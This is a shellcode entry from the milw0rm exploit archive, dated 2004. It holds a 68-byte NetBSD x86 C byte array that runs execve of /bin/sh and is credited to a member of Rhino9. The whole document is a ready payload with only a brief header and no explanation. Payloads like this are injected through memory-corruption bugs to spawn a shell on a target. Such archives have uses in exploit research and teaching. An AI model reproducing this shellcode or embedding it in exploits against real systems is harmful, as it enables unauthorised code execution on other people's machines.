netbsd/x86 execve /bin/sh 68 bytes

/*
 *  NetBSD
 *  execve() of /bin/sh by humble of Rhino9
 */

char shellcode[] =
  "\xeb\x23"
  "\x5e"
  "\x8d\x1e"
  "\x89\x5e\x0b"
  "\x31\xd2"
  "\x89\x56\x07"
  "\x89\x56\x0f"
  "\x89\x56\x14"
  "\x88\x56\x19"
  "\x31\xc0"
  "\xb0\x3b"
  "\x8d\x4e\x0b"
  "\x89\xca"
  "\x52"
  "\x51"
  "\x53"
  "\x50"
  "\xeb\x18"
  "\xe8\xd8\xff\xff\xff"
  "/bin/sh"
  "\x01\x01\x01\x01"
  "\x02\x02\x02\x02"
  "\x03\x03\x03\x03"
  "\x9a\x04\x04\x04\x04\x07\x04";

# milw0rm.com [2004-09-26]